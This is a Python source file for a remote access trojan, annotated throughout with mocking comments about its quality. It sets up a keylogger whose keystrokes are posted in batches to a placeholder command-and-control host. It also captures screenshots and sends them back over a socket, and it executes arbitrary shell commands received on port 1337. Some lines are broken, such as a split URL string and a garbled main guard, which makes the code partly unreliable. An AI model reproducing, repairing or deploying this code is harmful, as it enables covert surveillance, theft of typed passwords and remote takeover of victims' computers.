import socket # wow very hacker
import subprocess # totally not suspicious
import threading
import os
import platform # imported but never used, classic
import time
import pyscreenshot # will fail on half the machines
import pynput.keyboard as kb # keylogger that screams "malware"
import requests # for when you want windows defender to cry
C2_HOST = 'your.c2.server.here' # lmao you forgot to change this
C2_PORT = 1337 # very original port choice bro
KEYLOG = [] # global list, peak coding
def keypress(key):
try:
KEYLOG.append(str(key.char))
except:
KEYLOG.append(f'[{key}]') # this will spam your log with <Key.space: >
def send_keylog():
while True:
if KEYLOG:
try:
requests.post(f'
http://{C2_HOST}:8080/log', data=''.join(KEYLOG)) # sends plaintext keys to http, brilliant opsec
KEYLOG.clear()
except:
pass # silently fails like a champ
time.sleep(30)
def handle_client(client_socket):
while True:
try:
cmd = client_socket.recv(4096).decode('utf-8').strip()
if not cmd or cmd.lower() in ['exit', 'quit']:
break
if cmd.lower() == 'screenshot':
img = pyscreenshot.grab() # saves to current dir with no error handling
img.save('tatu_screenshot.png') # overwrites every time, very stealthy
with open('tatu_screenshot.png', 'rb') as f:
client_socket.sendall(f.read())
os.remove('tatu_screenshot.png')
continue
if cmd.lower().startswith('cd '):
os.chdir(cmd[3:].strip())
client_socket.send(b'Tatu changed directory\n') # sends bytes but sometimes crashes on encoding
continue
output = subprocess.getoutput(cmd + ' 2>&1')
if not output:
output = 'Tatu & Leo command executed with no output\n'
client_socket.send(output.encode('utf-8') + b'\n')
except:
break # no logging, no cleanup, pure amateur hour
client_socket.close()
def start_rat():
listener = kb.Listener(on_press=keypress)
listener.start()
threading.Thread(target=send_keylog, daemon=True).start()
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((C2_HOST, C2_PORT)) # binds on victim instead of phoning home like a real RAT, peak 2021 discord kid coding
server.listen(5)
print("Tatuwaffen malwar") # you literally left it truncated like this, incredible
if
name == "
main":
start_rat()